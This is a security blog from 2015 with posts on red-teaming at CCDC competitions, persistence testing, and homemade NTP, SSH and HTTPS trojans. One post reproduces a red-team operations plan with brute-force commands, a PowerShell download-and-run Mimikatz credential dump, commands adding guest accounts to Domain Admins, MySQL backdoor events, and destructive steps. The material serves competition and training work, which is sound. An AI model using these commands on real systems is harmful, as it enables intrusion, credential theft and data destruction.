Sunday, April 12, 2015

Persistence Testing vs Penetration Testing

Hey all! For the last 6 months I've been involved in some really cool and innovative takes on traditional penetration testing, something I call persistence testing. Let me go into the philosophy behind this testing style first, before we dive into the details.

My recent experiences have really taught me one thing, which is that anyone can get owned. This is the simple nature of computer security, exploits are always ahead of the curve, an 0-day can surface at any time, and you can quickly become compromised where you once had a strong defense. And even penetration testers know that the weakest element of security is often the human operating the computer, making spear-phishing a massively successful vector, something advanced attackers regularly take advantage of in the real world. Mandiant's M-Trends report from 2015 shows that most organizations don't even know they are compromised for 200 days, and on top of that only 30% of companies detect the breach on their own! As a penetration tester, these statistics and the reality of seeing so many companies routinely getting owned tells me we are doing something wrong, a change of strategy is clearly needed. Penetration tests find holes, but rarely are unsuccessful because it's so easy to find holes in the current information technology landscape. Therefore, I've started developing new pro-active strategies, based around Mandiant's general philosophy of needing to respond to the breach over preventing the breach, in today's current landscape at least. I call these new strategies "Persistence Testing", and the real goal here is to emulate APT campaign tactics or common host and network persistence techniques, in a scalable way such that the Red Team can audit and ensure an organization is able to detect these malicious actions. To emphasize the importance of detecting and containing a breach I've included a small interview w/ Kevin Mandia below.



There are a lot of differences between traditional penetration testing and persistence testing. Where as with traditional penetration testing the goal is to find a weakness in the organizations IT infrastructure, with persistence testing the goal is to find shortcomings in an organizations ability to detect and respond to security events. How is this different from traditional red teaming? With persistence testing we often assume the initial vector of compromise, such as a spear phish or an workstation gets infected while at an employee's home, and focus on emulating malicious post-exploitation techniques. To properly pull this off, the attacker will likely need an in-depth knowledge of the organization they are working with, including network topology, various security controls, key targets in the network, which detection capabilities currently exist, and where the client organization is looking to increase their response capabilities. Further, one of the core tenants of persistence testing is taking detailed metrics on which techniques the attacker is executing, which security controls the attacker is bypassing, and what roadblocks the attacker has encountered. When they compare these metrics with the incident response teams incident notes they can see which techniques went undetected and which techniques were alerted on. Then the next exercise can avoid or repeat the past actions, with an emphasis on increasing response time or detecting actions that were previously missed. Further, a skilled tester with in-depth knowledge of the client organization can create specialized malware that will go generally undetected, but then trigger specifically targeted detection mechanisms, such as setting off host based alerts for a specific malware family or setting off network based alerts for a typical insider threat (such as accessing high security assets they typically don't access, or exfiltrating large, encrypted files). In this manner, firms can take a pro-active and scientific methodology based approach to increasing security incident detection capabilities. This is something I've done a lot latly, both in the real world and with my CCDC experiences, so I think I will be talking on these specific techniques more in the future.

This isn't a totally unique idea either, some industry thought leaders have thrown around similar ideas, such as the following videos I've included from Dave Kennedy and Raphael Mudge. That said, I think it's really important to differentiate this type of security testing from traditional penetration testing, and thus execute these methodologies in a more advanced and specialized way.



Monday, April 6, 2015

Python NTP Trojan

After playing CCDC a bunch, I wanted a RAT that would call back using a highly innocuous protocols and then carry out actions to either troll or reopen full shell access (via other backdoors) to the system in a fairly non-interactive way. In this way, I was hoping this more covert trojan could persist longer than my other shells. This lead me to create a trojan that uses NTP as it's command and control channel, as the channel is fairly non-obvious and NTP traffic is also common. The trojan is fairly asynchronous, being rooted in UDP, and and while it currently doesn't have a way to return it's output to the server it will check in and run hardcoded routines based on the time value it receives. The best way to know it's still there is when it checks in for new commands. The goal here is that it can drop silently drop firewall rules, add a user, run other backdoors or just troll the victim. To accomplish this async call back, I like to set it up to run every 5 minutes, calling out to the C2 server for more commands or just to get the time.

This can be done w/ a simple cron job, as follows:
Or you could do it on Windows with a scheduled task, such as:
You can also run this at a specific time on Linux using an At job like so:
Likewise on windows you could use At job like so:
I hope to improve this trojan by making it more stealthy and adding to it's aysnc features over time. Ultimately, I would like to see it look more like Mubix's Luminia, only without worming and specifically triggering off the NTP service for it's commands to run.



Once again, if you didn't get it before, checkout my NTP Trojan!

Saturday, April 4, 2015

Participating in Cyber Camps (USCC / CCDC)

I highly encourage students and young people in general to actively seek out cyber security competitions and events such as CCDC or USCC. These competitions provide amazing learning opportunities, connections to the community, and a common goal to work towards as a team. When I was young I participated in both Trinities Fire Fighting competition and volunteered for Lego's FIRST, both of which were an epic introduction to programming and team-based engineering for me at a young age. This early introduction to competition can breed a life long interest in computer science and/or computer security which can be a valuable skill in todays market. The following are two excepts that promote both USCC and CCDC. I make cameos in both, speaking on the importance of education and events like these.



Sunday, March 29, 2015

Red Teaming at WRCCDC 2015

WRCCDC just ended this year and it was epic as always. I got to compete on the red team this year, and I wanted to detail some of my thoughts below, as we didn't quite get the one-on-one debrief some teams were looking for. The network was divided pretty evenly among linux and windows targets, which was a nice spread of targets to both pop and persist on. The teams also got access to a FireEye NX box this year, which made things extra interesting, as that NX box is pretty much an automatic snort box with signatures pushed directly from FireEye. So I thought for sure that could be leveraged to give us a lot of trouble, which we will get into later.

Organizationally, WRCCDC operated very different from PRCCDC. From a network perspective the networks were flatter and the teams could even interact with each other across the network. Similarly, from an infrastructure perspective it seemed a bit rushed as there weren't as many rich services, however there were more targets on the flat network. That said, there were only 5 services being scored for SLAs, so some blue teams brought down all of the machines that weren't involved in scoring SLAs. Red team also operated in a very different way, as there were no cell teams and everyone seemed to target specific services and machines they were familiar with across the board. We did a good amount of sharing and shell passing using both cobalt strike and metasploit handlers. This kept a strong team synergy while allowing people to focus on what they were the most familiar with. Ideally, I think a mix of the organizational concepts of PRCCDC (the preparation and the focused cell teams) and the organic / experienced nature of the WRCCDC red team would have the best result. In my mind this would look like cell teams that have an extra man, who could apply some of that teams nicest hacks across all other teams, and aid in the meta team pwnage, while cell teams could ensure each team got the special love they deserve at all times. Which is cool because that is actually a lot like the way national CCDC red team operates.

As far as a blue team debrief / red team attack strategy I will say the following in hopes of better enabling the teams that make it to nationals to leverage their FireEye provided NX boxes. I got into the FireEye NX boxes almost immediately using default creds that were announced at a briefing where both red and blue teams were present. Once on every team's NX box, I went through enabling all of the support accounts, adding administrative users, white listing our IP ranges, and dropping all alerting rules from the config. At no point did we change the default root password, giving every team the opportunity to easily reclaim their NX box by simply logging in and shutting down our new accounts. However the few teams that did this failed to reenable the rules and disable our white listed IP space. The teams that didn't remove these administrative backdoor accounts, I would ssh into the box and start a tcpdump of all the traffic on the box, then scp this back to my machine. I could use these tcpdumps from the box to then collect passwords transmitted over cleartext as well as gather intel on the various teams based on their traffic. I also focused heavily on persisting on the linux and windows servers through stolen credentials, new admin accounts, reverse shells, keylogging, scheduled tasks, and tricks such as adding my own ssh keys or sticky-key persistence on RDP but these are fairly well documented CCDC red team techniques, so I won't go into them here.

The trolling this year via the red team was pretty entertaining. Aside from the typical defacements and same-machine harassments, the red team did a few notably hilarious things. We attempted several social engineering attacks, both phoning the teams for OWA account access and sending spear phish emails as injects. We were also able to setup private Runescape servers on several teams boxes, which was a lulzy reprieve from the beat down. We pulled off the classic stomping the boot loader, and there was also an great hack where /bin/bash was overwritten with a Golang program that just did an ascii version of the pirate virus. This was great because it turned a typically useful administrative ssh service into a giant ascii joke. I've included some screenshots of the highlights that I collected from the entire red team below:






Ahhh, good times. Can't wait to see everyone at nationals!

Monday, March 23, 2015

Red Teaming at PRCCDC 2015

I recently got to red team for PRCCDC 2015. Organizationally, it was a very interesting red team setup. As with most CCDC red team arrangements, the teams are to execute similar tactics within each unit through 'attack phases'. With PRCCDC, we took this one step further and attempted to launch each action within a phase in lockstep, having each team execute techniques at relatively the same time against their respective teams. This had some notable benefits and also some notable downsides. One of the benefits was the great documentation it produced, allowing us to quickly share techniques and make sure everyone was capable of executing them. But the downsides were poor execution and tracking via the team lead as well as issuing unnecessary attacks effectively wasting the entire red teams bandwidth. Despite all of that, I'm going to include the general red team operations plan below, along with some screenshots pulled from our red team debrief. I hope this helps other CCDC red teams in the future with a general operations plan, as well as aiding blue teams in preparing against these attacks. One of the biggest questions I always hear regarding CCDC is, what were your initial vectors? This year I didn't notice any memory corruption vulns that lead to remote code execution, rather almost all of our initial vectors of access were gained through default credentials, then it was all persistence from there, which really makes those first 5 minutes critical. That means planning and preparing for such events are crucial! If your going to red team at a CCDC, I heavily suggest reviewing this operations plan.

Operations Plan:

Phase 1; Initial Access:

Enumerate ports/services:
Use “-oA name” in nmap to save scan data
nmap -sn -n [targets]
nmap -sP -PI -T4 -v7 [targets]
nmap -sV -F [targets]

(run these second)
nmap -A [targets]
nmap -p- -sV -O -T4 -v7 -sC [targets]
(open SMB shares) nmap --script=smb-enum-shares -p445 [targets]
(open NFS) nmap -p 111,2049 --script nfs-ls,nfs-showmount [targets]
(optional) netscan
(optional) Armitage/Cobalt Strike: Hosts -> Nmap Scan -> nmap quick scan with OS detection

Check for default credentials:
Telnet/SSH Brute
(Telnet) nmap -p 23 --script telnet-brute [targets]
hydra -h [target]  -u [username]  -P /path/to/wordlist -M [telnet|ssh]

Default SNMPgets check (if SNMP is found with previous scans)
nmap -sU -p161 --script snmp-brute [targets]
(optional) snmpwalk

NBNS/LLMNR/WPAD Poisoning
Responder + smbrelayx
Domain Controller Anonymous Enumeration
enum4linux
Cain
metasploit smb_enumusers
metasploit smb_login module
rpc-client
Local Administrator Builtin 500 & Domain User Account Brute Forcing
hydra -h [target]  -u [username]  -P /path/to/wordlist -M smbnt

Anonymous FTP
nmap -sC -sV -p21 [targets]

VNC Brute
nmap --script=vnc-brute -p5800,5900

Web Interface Review
nmap
rawr
nikto
burp pro (free if you don't have a license)
praedasploit

Ongoing nmap scan w/ ndiff of output

Drop payloads and privilege escalate:

Unicorn powershell payloads
Veil payloads

Unquoted service path escalation (PowerUp)

Intel gathering via PowerView

psexec_loggedin_users to determine privileged accounts logged in

meterpreter keyloging

Wireshark + PCredz

Phase 2; Persistence Ideas:

Ssh keys that we all have and can install on target machines.  Then the meta team can access via ssh keys to the targets

Change nobody in /etc/passwd from nologin to /bin/bash and issue: passwd nobody
Add sudoers
Disable firewall
Script to do the above in Debian/Ubuntu
Add VNC Server
Teamviewer MSI
crontab
add backdoor alias for common commands (such as sudo keylog)
netcat local listeners and reverse connects
reverse shell on startup (update-rc.d blah defaults for linux, scheduled tasks for windows)

msf persistence (exploit/windows/local/persistence, run persistence)

Mimikatz: 
powershell "IEX (New-Object Net.WebClient).DownloadString('http://is.gd/oeoFuI'); Invoke-Mimikatz -DumpCreds"

Mimikatz on DC -
misc::skeleton - On DC
misc::memssp - All machines

Golden ticket:
Note krbtgt hash - this will likely be duplicated across all teams’ networks, so one krbtgt hash == DA on all networks

Create backdoors:

Add new user: net user /add admin admin
Add user as local admin: net localgroup Administrators /add admin

Sticky keys persistence(Shift x 5)/utilman(windows + U)/Display (Windows + P):

Kill Windows Updates:


Screw with users/groups (some of these require domain admin privs)
net localgroup administrators Everyone /add
net localgroup administrators Everyone /add /domain
net localgroup administrators  "Domain Users" /add
net localgroup administrators  "Domain Users" /add /domain

net localgroup "Remote Desktop Users" Everyone /add
net localgroup "Remote Desktop Users" Everyone /add /domain
net localgroup "Remote Desktop Users" "Domain Users" /add
net localgroup "Remote Desktop Users" "Domain Users" /add /domain

net user guest /active:yes
net user guest /active:yes /domain
net user guest Qwerty12345
net user guest Qwerty12345 /domain

net localgroup  administrators guest /add
net localgroup  administrators guest /add /domain
net group "Enterprise Admins" guest /add /domain
net group "Domain Admins" guest /add /domain

net localgroup "Server Operators" Everyone /add
net localgroup "Server Operators" Everyone /add /domain
net localgroup "Server Operators" "Domain Users" /add
net localgroup "Server Operators" "Domain Users" /add /domain

Persistence on a vyatta router:
Wordpress persistence:

Login to their mysql (username 'monty' & password 'some_pass'):
use db;
CREATE EVENT myEvent ON SCHEDULE at current_timestamp + INTERVAL 300 second DO update wp_users set user_pass='$P$BMiCbLbCxfCSQDNKy21EIxlFeLVcOm0' where ID='1';

changes the admin pass to martian every 300 seconds:
SET GLOBAL event_scheduler = ON;
CREATE EVENT myEvent1 ON SCHEDULE EVERY 300 second DO CREATE USER 'monty'@'%' IDENTIFIED BY 'somepass';
CREATE EVENT myEvent2 ON SCHEDULE EVERY 300 second DO GRANT ALL PRIVILEGES ON *.* TO 'monty'@'%' WITH GRANT OPTION;
CREATE EVENT myEvent3 ON SCHEDULE EVERY 300 second DO update wp_users set user_pass='$P$BMiCbLbCxfCSQDNKy21EIxlFeLVcOm0' where ID='1';


Web Shells:
PHP:
ASP:

Use Domain Admin access to hashdump the Domain Controller

psexec_command on subnets w/ found creds, or manually

Phase 3; Troll and Destroy:

Drop or modify databases/web configs

MS14-068 with goldenpac.py (impacket)

Alias common commands (ls, cd, echo, vi, vim, nano) to do nothing or unexpected behavior

Remove common binaries such as chattr, netstat, ps

Replace hosts file (meterpreter> run hostedit -l /path/to/fakednsentries.txt)

Randomly bring down services: net stop [service_name]

Hide taskbar & files

Lock out domain accounts (smb_login + net accounts /domain output)

BieberFever kiosk mode:
Continuous reboots:

These techniques were largely successful, the following is a collection of screenshots from the red team debrief, which shows our overall success. I'm taken care to anonymize the teams and people involved. Enjoy the screen shots below! More to come soon!

We started with scanning our respective teams, using shared Cobalt Strike team servers. From here we gained access largely using default creds as is typical in CCDC and the real world.


Drawing network diagrams can really help, as the one below helped us figure out the network topology.


Next came our various persistence methods, this was everything mentioned above but I managed to grab some good screenshots of a webshell, domain admin, and making a golden ticket.




We finished up with some quality trolling, as no CCDC would complete without trolling.




Thats it! PRCCDC was a blast. I've added some availability scores as well below. Till next time!


Saturday, March 21, 2015

Reverse SSH Trojan

In the spirit of command and control protocols, I have to mention the classic SSH, or Secure Shell. This has always been a great way to administer servers, giving you trusted crypto with an easy to use interface. The tool includes many rich features such as file transfer and reverse proxy functionality. It even has native capabilities for this, a reverse ssh shell:


This all led me to an infosec institute guide on recreating your own reverse ssh shell in python. This seemed like a good idea to me, because we could build it down and then quickly use the SSH covert channel on on Windows. The result was fun reverse SSH shell in python. Enjoy!

Thursday, March 12, 2015

HTTPS Command and Control

With my recent exploration in covert channels, one common and simple channel keeps reoccurring: HTTP/S. This is a great covert channel because of its versatility: you can use legitimate content servers, you can easily encrypt the entire channel, use techniques like certificate pinning to authenticate connections while still looking legitimate, or you can get out of a well filtered network through services such as corporate proxies. And a lot of malware uses HTTP/S for it's command and control (C2), such as the old comment crew, botnets, and even new targeted campaigns, so it's great for real world threat simulation.

I developed a proof of concept (POC) for testing detection of one off / unknown HTTPS C2 as well as to aide penetration testers in high security environments. The scenario this is designed for limited egress options, with an outbound https mitm proxy, such as Bluecoat proxies. This concept is also highly used in malware, such as Kurton from Mandiant's APT1 report which is proxy-aware malware and has a much higher chance of getting out of the network when compared to arbitrary TCP/UDP C2 protocols. Some malware will use full on REST api-like requests, while malware such as Murcy uses custom HTTP headers to transmit its commands. So as you can see, even within the channel of HTTP/S you have many options of where you want to place your command instructions. This is a fun project because there is so much room for creativity and customization. My POC remote access trojan (RAT) is in a stand-alone python script, so we can build it down to a native executable for spear phishing. The server is in nodejs, for exploring it's asynchronies / api capabilities as a web server and application language. All in all, I had a lot of fun messing with both the nodejs server and python request libraries! That said, this project is a continuous work in progress, so make sure to stop back for recent updates or you can even request features in the comments or on the github repo.

My code is freely available for those looking for a template or just to mess with a web c2 remote access trojan. However, if you are looking to write your own 'unknown' web based remote access trojan, I've included some really good programming guides using other platforms, such as C# and PHP (warning some strong language in those demos). Programming your own backdoors, exploits, and security tools is always a great idea, so if you don't know how to write one of these yourself go through some examples or ask me questions regarding my POC! Enjoy all :)